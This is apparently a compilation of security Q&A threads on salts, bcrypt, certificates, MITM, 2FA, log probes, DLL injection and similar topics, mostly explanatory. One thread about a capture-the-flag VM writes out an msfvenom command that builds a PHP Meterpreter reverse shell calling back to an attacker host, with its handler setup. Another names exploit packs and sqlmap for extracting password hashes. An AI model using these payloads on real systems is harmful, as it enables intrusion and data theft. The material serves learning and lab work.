In the official documentation of the PKCS5 V2.0 standard, we can read "The salt can be viewed as an index into a large set of keys derived from the password, and need not be kept secret."

The part "need not be kept secret" is interesting.

Since the salt is used to add a huge range of password possibilities (or to create two different keys if two users had the same password), what is the purpose of letting the salt insecure?

I understand that typically, an attacker wont have access to the salt, so it will complicates his job to find the right password. But if an attacker knows the salt, where is the "magic"? Knowing the salt is like perform a traditional dictionary attack (if we exclude the iteration count)!

Is there something that I dont understand? I know that knowing the salt dont break the security but, saying that it "need not be kept secret" sounds strange to me.

Keeping something private is difficult (i.e. expensive). For a confidential data element, usually called a "key" (sometimes a "password" when the said key can be stored in a human-based system), we must think about the whole key life cycle: how, when and where it is created, stored, copied, and erased. In some (many !) contexts, proper key management requires physical tamper-resistant storage systems (smartcards, HSM...); these do not grow on trees. There is no need for any reason for wanting not to keep something private; rather, we need explicit reasons for making something worth being private.

A salt is not a key (otherwise we would call it a key, not a salt). Its point is to be distinct for every instance, even if the same key is used. The salt prevents many types of cost sharing, where an attacker can attack N protected elements (e.g. hashed passwords) for less than N times the cost of attacking one. One form of cost sharing is precomputed tables, e.g. "rainbow tables". A salt defeats that by being unique for each instance.

By allowing the salt to be public, we make it much easier to have a unique salt per instance. Managing so many secret keys would be very hard, but for public elements, we just invoke a PRNG and store the value as it goes, without further ado.


What are easy checks to identify malware in Python code? It is well known that PyPI does not prevent the upload of malicious code.

Unfortunately, automated tools often cannot distinguish between features of a program and malicious code.

In the case of Linux distributions, there is at least the package maintainer who might look at the source code occasionally.

Basically the security of software repositories like PyPI boils down to the idea that somebody would notice malicious code, if enough people look at the source code. So, if I like to be one of the people occasionally looking at the source code, what should I look out for?

Reading every line of code before installing a python package is infeasible.

For a programmer (not a security researcher), what are easy checks/ best practices to identify obvious malicious code-fragments?

Some obvious things to do are:

grep for import and see if any module imports something it should not. In particular look for sys, os, http etc... These modules have many legit uses, but a lot of power to do unsafe things.
grep for eval and the like.
open a random file and see if it looks reasonable.
Pay particular attention to setup.py

What is the quickest way to have a highest chance of detecting malicious code in python scripts?

Short of reviewing the full source / binary you can never know for certain without executing the code - at which point by the time you realize it may be too late. Sure a string manipulation library calling "import http" might be easy to grep for but there are endless ways for a malicious developer to obscurify it.

If you are concerned then the best approach is to try to sandbox the execution environment to restrict the package only to have data to access / APIs it would be expected to use.

With regards to general PyPI packages you need to perform some risk assessment when using a package. If its a major package from a well regarded developer then the risk is low and the chance of someone having detected it if something malicious was there is high. If you are one of 10 people installing the only package posted by a developer then you may want to take a closer look at it.


Third party cookies - does secure, httponly matter? Was viewing this page on cookies and wondering for those under Third party cookies, such as TS*, TS01*, TSXXXXXXX_d, what does it mean by them being a "security" cookie? Does it mean there is no need to secure such cookies by configuring things like httponly/secure flags? thanks

The TS* cookies belong to an F5 load balancer, which also acts as a security device (especially via it's Application Security Module (ASM)).  The cookies and their various uses are described here.
I would interpret the web site describing these cookies as "Security" as meaning they're put in place and used by a security device, as opposed to the web site itself.  They are, in fact, not marked secure by default, although it is possible to add that.


How to know if I'm under a MITM attack If I am connected in a public WiFi, is there any way to know whether I am under attack or not while browsing sites using SSL?

For example, if I visit facebook.com and the URL starts with "https://", does it mean that I am 100% secure? What methods can be used to verify this?

Yes, if you see HTTPS:// in your browser window, haven't accepted any certificate warnings and you are visiting trustworthy website like a bank, your data back and forth would remain private.

If you HTTPS session were being attacked you should get a certificate warning. This might happen a) due to a fake certificate from an attacker, or b) sometimes just due to a "captive portal" trying to proxy every https connection (still not cool).

This assuming that

You didn't previously accept an SSL warning.
The attacker doesn't have their own custom Certificate Authority root cert installed and trusted by your browser.
The HTTPS site isn't including any mixed-content (content from HTTP sites included by HTTPS page).
Your computer doesn't have other programs that are calling over the network in plain-text that can be compromise your workstation. Example, browse to a plaintext site with IE, and an attacker may insert a browser exploit into another connection to compromise your computer. (super rare for public wifi)

Personally, I do banking from coffeeshop wireless, confident that may data is protected. It is pretty similar to using banking applications on mobile phones.


Dataset for testing false positive of antivirus Are there some dataset (set of benign files) that are good for testing false positive of an antivirus? (i.e., detect a benign file as malicious)

I have plenty of old tools like network tools that are still being detected as false-positive, even if they are tools that have been used for years. Examples: Brutus, Blue's port scanner. Even EasyCD/DVD Burner is detected as possibly dangerous, which is absurd.

Also, pretty much any game crack/keygen is detected as dangerous even in most cases they are perfectly safe.

I have not seen yet even one of the AV companies update their detection status vs. such programs.


Where to save Keepass' file? Using Keepass since a year ago, been told it's an excellent method to store one's passwords.

But what is the best location to save Keepass' file (the file where all password are stored and that you use when reinstalling Windows for example)?

It depends.

Save it on someone else's server (Dropbox, Google Drive, etc.) if you want convenience at the expense of security

And the first time you accidentally type your KeePass password into your Dropbox/Google Drive login, you just gave that someone else the keys to open up your password vault.

Save it on your own machines, set up so they aren't backed up to someone else's server (i.e. the cloud), and sync the various KeePass files as you need.
Save it on your own encrypted machines, on encrypted storage - perhaps LUKS (built into Linux) or Veracrypt, or an Apricorn FIPS 140-2 validated USB drive, or a combination.
Save it on your own guaranteed offline, isolated machine/storage

For more details on more secure - and less convenient - isolation, see this answer


What extra security does a 2-step website login process with a PIN provide? I am currently working on a web application with a significant security risk attached to its function. We're using Microsoft Identity Framework to handle user logins, with the system forcing strong passwords and registration having the extra layer of email confirmation being required before first use.

We have a feeling that this is not entirely sufficient. One of our competitors uses a two-step login system with a password followed by the user entering three digits from a six-digit PIN by drop down. There is a suggestion that we should copy this.

Personally, I'm uncomfortable with implementing such a solution without better understanding its pros and cons versus the alternatives. It strikes me that an extra data layer entry which is immune from keylogging is not a significant extra piece of security. Surely if an attacker already has an email/password combination, almost any conceivable way they could have obtained this will also result in them having the PIN?

The obvious alternative to strengthening security is to have a two-factor authentication via SMS. This will incur a cost, but if security is paramount it would seem to actually add significant protection to the system over a PIN, which I believe will to add almost none.

What's the point of having an extra PIN authentication? Does it have any advantages over 2-factor authentication?

EDIT: The proposed PIN solution would issue the user with a randomly generated 6 digit number via email. When logging on to the site they would first have to enter a password (which may, of course, be stored by the browser). If successful, they would then be challenged to enter three randomly selected digits from the six (i.e. enter the first, second and fifth characters from your PIN) via drop down box.

On reflection, I guess this does at least stop unauthorized access via someone relying on a stored password from the browser.

I find it hard to see what security benefits this could provide. In multifactor authentication, the point is to use different factors — i.e., "something you know", "something you have", "something you are". Just repeating the same factor twice seems a bit pointless.

But let me speculate some about what the purpose could be.

1. Stop keyloggers

Only dumb malware tries to get passwords by blindly logging key strokes. Requiring the use of a drop down menu may protect against some malware, but in the end trying to hide user input when the computer is already infected is a loosing game. See this question for a related discussion. In the end, I think the benefits are small here.

2. Increase entropy

If you add a six digit PIN to the password, you get 106 times as many combinations to brute force or almost 20 extra bits of entropy, right? (Or 103 times or 10 bits if you only count the three digits entered.) Yeah, but why not just require a longer password?

Perhaps you want to split it in two to make one part (the PIN) truly random and thereby give protection to users who pick weak passwords. But what does this protect against? For online attacks, you should already have rate limiting in place to deal with this. For offline attacks, you would need to hash the PIN together with the password to get any benefits. But since you can log in providing only three out of six digits they don't seem to be doing this (unless they keep 20 hashes for all possible digit combinations).

3. Limit the effect of stolen passwords

Let's say your password gets stolen (say in a phishing attack). If the attack is only performed once, the attacker will only get half of the PIN. She will therefore not be able to easily log in if she is asked for other digits than the ones she got.

I don't see this as a big benefit. Just repeat the attack a couple of times, or attempt to login multiple times (or from different IP's) until you are prompted for the digits you have.

Drawbacks

It makes users more likely to write the PIN (and perhaps the password while they are at it) down on a post it or an email.
You can not log in using only a password manager. Why make it harder for people who use safe methods to manage their passwords?

Conclusion

I can't see any security benefits that would motivate having the user memorise an extra PIN and go through the hassle of picking numbers from drop down menus. To me this smells of security theater. But perhaps I am missing something.

Edit: Yes, I did miss something. See supercat's answer. It's a very good point, but I'm not sure I would think it is worth it anyway.


Explain BCrypt like I'm 5 I know this is a little bit broad, but I'd like to understand the function of this algorithm by explaining like I'm 5. And I'd like to know the difference between BCrypt and blowfish, is it because BCrypt is using a salt?

I've been reading but I see information in a low level, and I don't want go that deep, I'd like to get a simpler explanation (knowing the basics like salt, bits, etc).

For example, I know that the first part of a password is :

$2$: Blowfish-based crypt ('bcrypt')

And then second one is the rounds. For example, $10$ indicates 2^10 key expansion rounds, but what does it exactly mean?

An example answer would be:

First you make the salt with algorithm X
Then get a random number of X
Then with the round you do X

Something like this, hope it's clear.

Hashing versus encryption

The biggest different between bcrypt and blowfish is that blowfish is a symmetric encryption algorithm and bcrypt is a hashing algorithm. (It is a special kind of hashing algorithm, but we will get to that later.)

Encryption (what Blowfish does)

A symmetric encryption algorithm takes a secret key and some plaintext (the term "message" is regularly used and the variable m is typically used to refer to it) and outputs ciphertext, c. The idea is that the ciphertext can only be transformed back into the original message with same[^same] secret key that was used when encrypting.

[^same]: I am giving approximately true answers here to focus on the central ideas and concepts. I am hoping that those who recognize where my answers aren't precisely true will cut me some slack for expository purposes.

So Alice might encrypt the message "Attack at dawn" with the key 13 (this is not blowfish, but it is symmetric encryption) and produce the ciphertext "Nggnpx ng qnja". She can send that ciphertext to Bob, and if Bob knows that the key is 13, he can transform the cipher text back into the original messages. Sometimes Alice doesn't want to send a message to another person, but she wants to store it for herself to read at a later time. We can think of those cases as Alice sending a message to future Alice.

With Blowfish (instead of the encryption that I used in my example), it is effectively impossible for anyone who doesn't have the key to learn anything about the original message (other than its length and existence) from the ciphertext. Just an aside, AES is a preferable symmetric encryption algorithm over Blowfish, but I will continue to use Blowfish in my descriptions as that is what was asked about.

Hashing

A cryptographic hash algorithm (bcrypt is special kind, with some extras, but I will start with a simpler case) does not take a key and is not practically reversible. So a cryptographic hash algorithm like SHA256 would take a message (let's say a password) like "JaguarsRule!" and transform it into a hash.

$ echo -n 'JaguarsRule!' | shasum -a256
13f26e5a60e402d895c5ce1d9492d080563c5079a8b5f52a25953fd24a2cb1da

One of the several properties of a cryptographic hash is that you can't feasibly compute "JaguarsRule!" from 13f26e5a60e402d895c5ce1d9492d080563c5079a8b5f52a25953fd24a2cb1da. There is no key in this case.

So a straight forward hashing mechanism like this might seem like a good way to check passwords on a server. Suppose you are running some web service that has people log on. You have a user, let's say with username jason who sets up his account with the password JaguarsRule!. Because you don't want anyone who can read what is on your server to learn Jason's password, you don't store the password itself. Instead you store its hash.

When jason (or someone pretending to be jason) logs in your server takes the password that gets entered and performs the hashing operation on it and compare that hash that is stored. If the hashes match then the system knows that the correct password was entered.

Salts and slow cooking

The scheme described above, using a general cryptographic hash like SHA256, would work great except for one thing: People pick guessable passwords. If people were as likely to use passwords like wZFoO_SKrgEw as they are to JaguarsRule! then we wouldn't need specialized hashing functions like bcrypt. But people, being human, are not going to pick passwords randomly and uniformly over a sufficiently large space. Instead, they are far more likely to pick some possible passwords over others.

Salt

Consider another user of your system, pillboy. Pill Boy is also a fan of the Jacksonville Jaguars and happens to have also picked JaguarsRule! as his password. Using (unsalted) hashing, the hash for Pill Boy's password will be the same as the hash for Jason's password. An attacker only needs to compare hashes to see that those two users have the same password.

Furthermore, if an attacker discovers one way or another that Jason's password is JaguarsRule!` then she immediately knows Pill Boy's password. Furthermore, she might create a big list of hashes for the most common passwords.

The solution to this is to salt the password with something unique before hashing it. So when first creating a the hash of Jason's password (when Jason first signs up and creates the password), you'd add some random stuff to it. Suppose that at this time your system creates the salt 9cb3779f69e271c1. It then sticks that in front of the password before hashing, so it is really hashing something like 9cb3779f69e271c1JaguarsRule! (This is not how the salt actually gets added, but this is close enough to explain what salt is for.). The hash of 9cb3779f69e271c1JaguarsRule! will be completely different than the hash of JaguarsRule!.

The system will need to know what the salt was when it comes time to verify a password. So it will store the salt and the hash along with the Jason's username. When Pill Boy creates his account, it will be set up with a different randomly generated salt, and so his salt and password combination will produce a different hash.

So what you store on your server might look like this

[
    {
        "algorithm": "sha256",
        "username": "jason",
        "salt": "9cb3779f69e271c1",
        "hash": "37a932267ed055facf03cc5d09ca90f927a1eed47a8cd4856e57cd67434426be"
    },
    {
        "algorithm": "sha256",
        "username": "pillboy",
        "salt": "0a19471dab710025",
        "hash": "4be637a8c85455dce0cdc1c7670f062764100276b6ed64141c06fbef4578f185"
    },

]

By having different salts for these users, we can't see that they have the same password, and the attacker won't be able to compare the hashes to a list that she's precomputed of hashing of common passwords.

So bcrypt, because it is designed for password hashing, takes a salt.

Taking it slow

Salting is absolutely essential, but it still doesn't stop an attacker who gets hold of what is stored on the server from automated guessing. She can take the salt and combine that with common passwords and compute hashes until she finds a match. She might be able to perform tens or hundreds of millions of password guesses per second.

One of the reasons that she can compute some many guesses so quickly is that cryptographic hash algorithms like sha256 are designed to be fast and efficient while still meeting their security properties. So things like bcrypt do are "slow hashing". The idea is so that getting from some message (salt and password) to a hash might take so much computation that a typical computer will take a quarter of a second to perform the hash.

The user won't notice a quarter of a second delay, but if the attacker is using the same kind of computer, then she ends up being reduced to making four guesses per second instead of 10 million. (In practice, she will have specially configured computing equipment, but slowing her down from millions of guesses per second to tens of thousands of guesses per second is a good thing.)

bcrypt is one of several "slow hashes". Others are PBBKDF2, scrypt, and Argon2. Those last two not only require a lot of computation to create the hash, but also require a lot of memory.

Bcrypt is great, but ...

Salting and slow hashing is something that every password hashing system should do. But it also yields diminishing returns. There is just so much that slow hashing can do for the defender, and so we still need to (as long as passwords exist) get people to use harder to guess ones. I've written more about that in Bcrypt is great, but ...

NB: Thank you https://security.stackexchange.com/users/6253/schroeder for correctly deleting my previous answer in which I took "like I'm 5" literally. And my apologies to the original poster for having been snarky instead of helpful.


Does Web proxy also get information of any files uploaded to cloud? I want to detect any files uploaded from my computer to any website.

I was not able to find anything where I can directly detect any files uploaded from my computer to any website.

I hear that proxy server can redirect all the traffic received from my computer to the requested server.So by intercepting my browser Can it also detect the exact files which I am uploading to the website?

If no,  are there any other ways that I can use to solve this?

Note: I want to implement it myself.

A web proxy is a service that sits between the client and the website and forwards all requests and responses between them. This includes files uploaded to a website.

A proxy with the intent to inspect or modify traffic is called an intercepting proxy. ZAP and Burp are examples of intercepting proxies. You can try one of them to show your file upload.

A proxy is typically only used if it is configured in the browser. It is sometimes possible to use a transparent proxy, where no client configuration is needed.

Whether a proxy can intercept all data, including file uploads, depends on the details of the SSL connection. If the website uses plaintext HTTP instead of HTTPS, everything can be intercepted. If the website uses HTTPS, there are two options:

The browser performs a CONNECT request to the proxy. The proxy sets up a tunnel between the client and the website and only sees encrypted traffic. This way, the proxy can not intercept any traffic, because it is encrypted.
The browser performs a CONNECT request, but the proxy sets up separate connections to the browser and the website. Now the proxy is a man-in-the-middle attacker that decrypts and re-encrypts any data is passed through. The proxy can intercept all data.

The problem with option 2 is that the SSL connection is intercepted, so your browser will complain that it is not connected to the right host, or that the certificate is invalid.

If you would want to implement a proxy in Python, I think you would start with a TCPServer. Implement one that listens on a port, configure your browser to use that port as proxy server, and watch what request is done.

Another project which can help you is mitmproxy, an intercepting proxy written in Python.


Understanding Digital Certification as a whole starting from a normal http request I am trying to understand the difference between digital signature and digital certification and how they work as a whole together on a high level perspective. I hope gurus here can point to me if my understanding is wrong.

When a user access a website, in order to encrypt communication between the the user and the website, a symmetric key is to be used.
*In order for the symmetric key to be used by both the client and server,
information about the creation of the symmetric key must be encrypted using the asymmetric key.
But first, the authenticity of the webserver must be confirmed. Hence, the webserver sends the user/client its digital certification. Inside the digital certification, it contains the public key use by the webserver to be use for asymmetric encryption at 2).
This digital certification is being issued by the Certificate Authority which checks and verifies to prove that the webserver/domain does really belong to whom it is suppose to belong to.
*However again, how do we prove the authenticity and integrity of the digital certification? For integrity, the digital certificate is hashed and sent together with the original certificate. For authenticity, the hashed digital certificate is signed with the CA's private key.
*So if the digital certificate is signed by the CA's private key, how do we get CA's public key? The overall idea I have is that public keys from CA are preinstalled in many browsers.
With the public key of the CA, the digitally signed hash/certificate is decrypted and to produce the original hash. The client then hash the received certificate and compare it with the original hash. If the 2 hash results matched, the certificate is not tampered.
With the digital certificate, the public key used by the webserver is retrieved by the webclient/user.   The webclient/user then use this public key to encrypt the information of building the symmetric key over to the webserver.
With the symmetric key being known and created on both sides, encrypted communication can begin.

Questions:

Is my understanding correct?
For 2*, is the session key created by the web client and sent to the webserver for use directly (encrypted) or is it setup by exchanging information that end up having both sides with the same session key (Diffie Hellman algorithm?)?
For 5,* I have never applied for a digital certificate before. When the CA issue a digital certificate, does it really issue the digital certificate? Or does it just issue a digitally signed hash of the certificate.
Else, how do we send the digital certificate (original) and its digitally signed hashed version without the CA private key?
For 6*, is my understand correct that CA's public key come preinstalled with the browsers?
Does the client need to authenticate with the webserver? (I read about having the client sending cert to the webserver as well).
What will be put in the truststore on the webclient, and what will be put in the keystore on the webserver?

First, I think that you're confusing some terms. The term is "digital certificate", "certificate", or simply "cert". Not "digital certification". If you really mean "digital certification" then this answer is likely wrong.

Yes. Symmetric keys are used for bulk encryption because symmetric encryption algorithms are much faster than asymmetric ones.
No. This is not a guarantee. All that is required is that the server and client agree upon a shared secret. By using a Diffie-Hellman key exchange, they can agree on the shared secret without needing any encryption. You can read the details about the algorithm or you can just trust that DH key exchange allows for a shared secret to be agreed upon without any crypto being needed. DH is frequently (maybe mostly but I don't have stats) used to agree upon the shared secret.
Yes
Yes
Yes. A certificate chain is used to prove that all certs are untampered.
Trusted CA certs come installed in Windows. IE uses the Windows ones while Chrome and Mozilla install their own set of trusted CA certs.
OK. You're mostly correct here. Some digital signature algorithms work by encrypting the hash of the message with a private key. Other algorithms do other tricks (I'm unfamiliar with the details) but it isn't quite the same thing. So number 7 is best said as "The signature is then validated by the client." Generally this will mean hash and asymmetric encryption, but not always.
Again, no. Diffie-Hellman key exchange is generally used (as discussed in 2 above).
Yes!

Regarding your bulleted questions.

  Is my understanding correct ?

Mostly - I made corrections above.

  for 2* is the session key created by the web client and send to the
  webserver for use directly (encrypted) or it is setup by exchanging
  information that end up having both side with the same session key
  (Diff hellman algorithm ?)

Diffie Hellman as stated above.

  For 5* I have never applied for a digital certificate before. When the
  CA issue a digital certificate, does it really issue the digital
  certificate ? or it just issue a digitally signed hash of the
  certificate.

CAs don't issue certificates as much as sign requests. This is typically done by sending the CA a certificate signing request or CSR. Most tools that generate certs or keys have options for generating a CSR.

  Else,how do we send the digital certificate (original) and its
  digitally signed hashed version without the CA private key ?

I'm not sure what you mean here. Perhaps I answered it above?

  For 6* is my understand correct that CA's public key come preinstalled
  with the browsers ?

Answered above, they come with the browsers or the OS. I think that Java has maintains its own list as well. Probably a few other common apps do the same.

  Does the client need to authenticate with the webserver ? (i read
  about having the client sending cert to the webserver as well).

That's an optional step. For most applications (eg: Amazon and your bank), you, the client, authenticate to the site by making a secure HTTPS connection and then giving it your name and password. Some sites allow two-factor authentication as well. SSL's mutual authentication (AKA: 2-way authentication) is part of SSL that allows the client to authenticate to the server during the SSL handshake. For this to occur, the client must have a cert and private key and that cert must be pre-registered with the server. (Note that there are no CAs for these certs, the browser trusts a cert because they got a copy of it and were told to trust it.) The convenient part of 2way auth is that it happens by magic. No nasty passwords to remember or type. The (really) inconvenient part is that having to manage a collection of certificates and private keys across all your browsers (think mobile) is a pain. Sometimes client certs (ie: 2way auth) are also used as a second factor in a 2-factor auth process. My experience is that 2way auth is most used in high-security environments where users (almost) always use the same computer.

  What will be put in the truststore on the webclient, and what will be
  put in the keystore on the webserver ?

Do you mean what will be put in the truststore/keystore when using 2way auth? Nothing is put in the client's truststore for 2way auth. The cert and its key are usually kept in a keystore or other secure, typically encrypted, data store. And nothing goes into the server's keystore for 2way auth. All the server needs to do is keep a copy of the cert and associate it with the appropriate user. This is generally done in a database.

Maybe you are asking what will go in the truststore/keystore for standard SSL connections? The root CA certs go into the client's truststore. This is typically done by the browser/OS provider and users never need to change this. If you are deploying self-signed certs (ie: no CA) or running a web proxy, you may need to add new certs to the client's truststore. The server's private key is stored in its keystore. For convenience, frequently the cert is stored in there as well.


Powerful security tools to use in penetration testing I want to ask you about some good security tools you've used or heard about, please let us know the ability in every tool and the difficulty to use it and which is the best situation to use this tool .
Edit: my question is about tools like metasploit, scapy, nmap ....etc

I couldn't agree more with @spinkham's answer.  That is the best answer.

To add to @ygjb's power tool list, on the web app side, these tools are excellent for extracting data

  First use the Burp Suite to identify points of opportunity - this tool can be challenging to gain proficiency in  if you're new to how web apps work

Powertools to help you exploit SQL injection vulnerabilities

  sqlmap & sqlninja
  sqlmap & sqlninja have been invaluable to me - the information revealed from extracting the data in target databases (usernames, password hashes, trust relationships, etc.) was key to attacking/compromise additional devices

Also, there are many commercial exploit kits, to name a few:

  White Phosphorus Exploit Pack http://www.immunityinc.com/products-whitephosphorus.shtml
  Agora Exploit Pack http://gleg.net/agora.shtml
  VulnDisco Exploit Pack Professional http://www.intevydis.com/vulndisco.shtml
  D2 Exploitation Pack http://www.immunityinc.com/products-dsquare.shtml


Strange logs in apache from bing/facebook I am used to finding some random probing from script bots in my apache log files, but today I found some strange entries:

65.55.24.247 - - [25/Apr/2014:01:52:36 +0000] "GET /calendar/caldetail/id/281/num/1328144400 HTTP/1.1" 404 439 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"

66.220.158.115 - - [05/Apr/2014:06:19:08 +0000] "GET /media/u1485/album/pic_1485_3218_original.jpg HTTP/1.1" 404 443 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"

There were numerous other entries similar to these.

The strange thing is that it looks like they originated either from Facebook or Microsoft servers. Both provide identifying information as well as IP addresses that appear to belong to the aforementioned organizations.

I do not have any URLs that look even close to those found in the GET requests.
To give some background, I bought the domain something like a month ago and AFAIK it was not used before.

Can anyone shed some light on the possible causes of these requests?

As stated at the page linked in the user-agent string, the page is "crawled" because someone tried to share it on Facebook.

  Facebook allows its users to send links to interesting web content to
  other Facebook users. Part of how this works on the Facebook system
  involves the temporary display of certain images or details related to
  the web content, such as the title of the webpage or the embed tag of
  a video. Our system retrieves this information only after a user
  provides us with a link. You may have found this page because a
  Facebook user sent a link from your website to other Facebook users.
  If you have any questions or concerns about any links or content sent
  by one of our users, please contact us at legal@facebook.com.

Maybe someone made a typo in an URL while trying to post something on their wall?
Alternately, it is possible that those URLs were valid before you bought the domain (it may have been previously owned by someone else).


"CHANGELOG.txt" in Apache logs Recently I've been seeing a major uptick in the following type of requests to my Apache logs:

  "GET /CHANGELOG.txt HTTP/1.1" 404 211

About a month ago, I received none. Now I receive a dozen or so each day. Occasionally they are accompanied by other more obvious vulnerability scans, but usually they come by themselves.

They are all coming from IP addresses that would be very unusual for users of our server.

I'm not particularly worried about a direct security threat, because they are 404.

However my question is:

Is this actually a vulnerability scan? If so, which one?
If it isn't, does anyone know what it is? Have others been having these recently too?

Is this actually a vulnerability scan? If so, which one?

I would assume so (it's difficult to say for sure, but it makes sense).

It's also a rather practical file to scan for. With one request, an attacker can check if you have installed one of multiple applications.

Additionally, a changelog will also contain a current version number, so there is no need to additionally scan for that.

One prominent application having such a file would be Drupal, but it's a very generic file name, so many other applications will use it as well.

An attacker could also apply basic filters on the first couple of lines of the file and get a string likely containing the application name. They can then manually look it over and store it in a database or check if whatever is running is vulnerable.


How bad is exposing valid user names? Today like many other times in the past, signed for a new service and got a common error message:

  Your user name or password is invalid

This time I am wondering how useful it is to notify "invalid password OR user" versus a less common but more useful two message schema with the real problem: "unknown user",  "invalid password"

My thought was that a system that does not specify if the user name is valid, could be more secure because it will not expose valid user names. However, how practical is this in real life? Although enabling the possibility of mining a list of user names. How much of a threat can that be? Is it really worth degrading a little bit the login user experience (ambiguous error) in exchange of hiding the list of users?

Right now the idea of exposing the list of valid user names seems like a very bad thing. However I am not really sure if it is just unjustified security paranoia that is not really practical. Even if an attacker might get a list of good user names that he could try to brute-force attack, but if the user names are made public (like in a forum), is it just paranoia avoiding to expose valid user names?

UPDATE:

In a forum for example, a web crawler would be far more efficient collecting user names than a user name generator brute force logger. I was wondering if there are valid cases where ambiguous logging errors are practical at all.

In a slow brute force attack, using a large zombie network, exposing this kind of information can help a attacker significantly.

Imaging 10,000 zombie computers trying to log in every once in a while first extracting usernames, when a list of users are 'detected' go for passwords.

Lets say the zombie tries once an hour, that's 240,000 tries a day. The internet is full of database dumps with email addresses and usernames to try.

Here some posts on this subject:

Is there any reason to show the same message for invalid usernam as password?
Username and or password invalid why do websites show this kind of message


What's new about the "DoubleAgent" attack? A supposedly new vulnerability is making its way through tech news right now. The original source claims to have discovered a new zero-day vulnerability affecting many antivirus engines and possibly every program on Windows.

However, as far as I can tell:

This requires write privileges on HKEY_LOCAL_MACHINE, which means the attacker must already have administrative privileges.
This appears to be just another method for performing a DLL injection, hardly a new concept - especially if you already have admin privileges!
The (ab)use of Application Verifier custom providers to inject arbitrary DLLs does not appear to be a new concept.

But it's been claimed as a new zero-day, there've been a number of CVEs assigned, and it looks to be taking off in the news. What's different about it? And how can I mitigate it on my systems?

It is true that the concept of Application Verifier was already known (though poorly documented) as a verification tool. The thing is that it is the first time that we see attackers using this feature as an injection technique to inject DLLs into trusted processes.

The new concept about this attack is using the Antivirus as a malware.
The antivirus is considered a trusted entity on the system and not even an administrator should be allowed to inject a DLL into its process.
Doing so gives the attacker the opportunity to stop running away from the antivirus but use the antivirus as an attack vector.

As I said, the feature is poorly documented and no antivirus today mitigate it.
Thus combining those facts gives an attacker the power to run on every single windows computer today without being detected and the results can be disastrous (C&C communication, data leaks, new types of ransomwares etc..)


Isn't "Dave's protocol" good if only the database, and not the code, is leaked? I've read "Is my developer's home-brew password security right or wrong, and why?", but there's still a question in my mind:

Even if someone uses a bad, home-brewed security algorithm just like Dave, an attacker can't get the real password if the attacker only compromises the database, not the server. Mark Burnett's answer to Dave's question seems to prove my guess.

Again, take Dave's code as an example. Dave uses insecure/fast hash functions, md5 and sha1, so yes you can crack his password (get the plain text) from the database easily. But you still can't get the real password if his server is not compromised.

Yes, But..
To make it nice and clear... We're talking about a database-only compromise when an attacker has access to the database but not the application source code.  In that case the attacker will get the password hashes but will be unable to crack them and get the original passwords because of Dave's custom algorithm.  So in the case of a database-only breach, yes, Dave's password algorithm will protect passwords more than if he had used MD5 or SHA1.
However That's only one possible avenue for system leaks.  There is one key fact that trashes the "math" that makes Dave's homebrew algorithm seem reasonable.
Half of all breaches start internally.
(sources 1 2 3) Which is a very sobering fact, once you let it sink in.  Of the half of breaches caused by employees, half of them are accidental and half are intentional.  Dave's algorithm can be helpful if all you are worried about is a database-only leak.  If that is all you are worried about though, then the threat model you are protecting against in your head is wrong.
To pick just one example, developers by definition have access to the application source code.  Therefore if a developer gains read-only access to the production database they now have everything they need to easily crack the passwords.  Dave's custom algorithm is now useless, because it relies on old and easy-to-crack hashes.
However, if Dave had used a modern password hashing algorithm and used both a salt and pepper, the developer who gained access to a database-only dump would have absolutely nothing useful at all.
That is just one random example but the overall point is simple: there are plenty of data leaks that happen in the real world where proper hashing would have stopped actual damage when Dave's algorithm could not.
In Summary
It's all about defense in depth.  It's easy to create a security measure that can protect against one particular kind of attack (Dave's algorithm is a slight improvement over MD5 for protecting against database-only leaks).  However, that doesn't make a system secure.  Many real-world breaches are quite complicated, taking advantage of weaknesses at multiple points in a system in order to finally do some real damage.  Any security measure that starts with the assumption "This is the only attack vector I have to worry about" (which is what Dave did) is going to get things dangerously wrong.


Meterpreter is closing connection - connection died I am trying to run meterpreter on a vulnerable virtual box (FunBox -CTF)
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.x.x LPORT=443 R > shell.php

After i upload the payload, running metasploit handler and  calling the php script i get a connection which is immediately closed.
resource (mymeterperter.rc)> exploit
[*] Started reverse TCP handler on 192.168.x.x:443

[*] Sending stage (175174 bytes) to 192.168.1.63

[*]  - Meterpreter session 1 closed.  Reason: Died

[*] Meterpreter session 1 opened (192.168.x.x:443 -> 127.0.0.1) at 2020-09-24 21:11:18 +0200

I have tried this multiple times with the same result.
The log indicate:
[09/24/2020 21:11:17] [e(0)] core: Session with no session_host/target_host/tunnel_peer. Session Info: #<Session:meterpreter 127.0.0.1 () >

[09/24/2020 21:11:17] [e(0)] core: Session with no session_host/target_host/tunnel_peer. Session Info: #<Session:meterpreter 127.0.0.1 () >

[09/24/2020 21:11:17] [w(0)] core: Session 1 has died

[09/24/2020 21:11:18] [w(0)] core: Exception in scheduler thread Rex::TimeoutError Operation timed out.

Any idea what could be the problem ?

The issue was resolved - the handler i have used was incorrect (the bad habit of copy paste)
Please verify that you are using the corresponding handler
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp


Could you use svchost to run any service? Is it possible if per say you installed an "evil_service," to use svchost to run it? Will it run any service?

Yes, it's possible and there are known attacks based on svchost.exe file/service.

Windows processes are essential for usual operation of OS. Some processes require special privileges or resources, which a regular user may not have. This is exactly what malware writers are looking for. The following are processes commonly used by malwares (Source : https://blog.checkpoint.com/2016/04/26/how-ransomware-and-malware-use-microsoft-windows-known-binaries/):

svchost.exe – A system process that hosts multiple Windows services in the Windows NT family of operating systems. Svchost is essential in implementing shared service processes, where a number of services can share a process to reduce resource consumption.

explorer.exe – Previously known as Windows Explorer, this is a file manager application, included in releases of the Microsoft Windows OS from Windows 95 onwards. It provides a graphical user interface for accessing the file systems. It is also the component of the OS, which presents many user interface items on the monitor such as the taskbar and desktop.

Sdbinst.exe – This process is part of the Microsoft Desktop Optimization Pack (MDOP), which contains Application Virtualization (App-V). MDOP enables the user to make applications available for customers without installing them directly on their computers. App-V transforms applications into centrally managed services that are never installed and do not conflict with other applications.

Sdbinst.exe allows the creator of the application to push updates via .sdb files. The process manages this behavior by serving as middle-ware between the application and the OS. For this purpose, sdbinst.exe runs code received from the creator with admin privileges.

Further you may refer below site to see how an attacker hide him self behind a legitimate windows process: https://safe-cyberdefense.com/load-inject-malicious-dll-using-microsoft-tools/


How to determine if an unexpected behavior is due to software bugs or malware? Not sure if this is a subjective question.

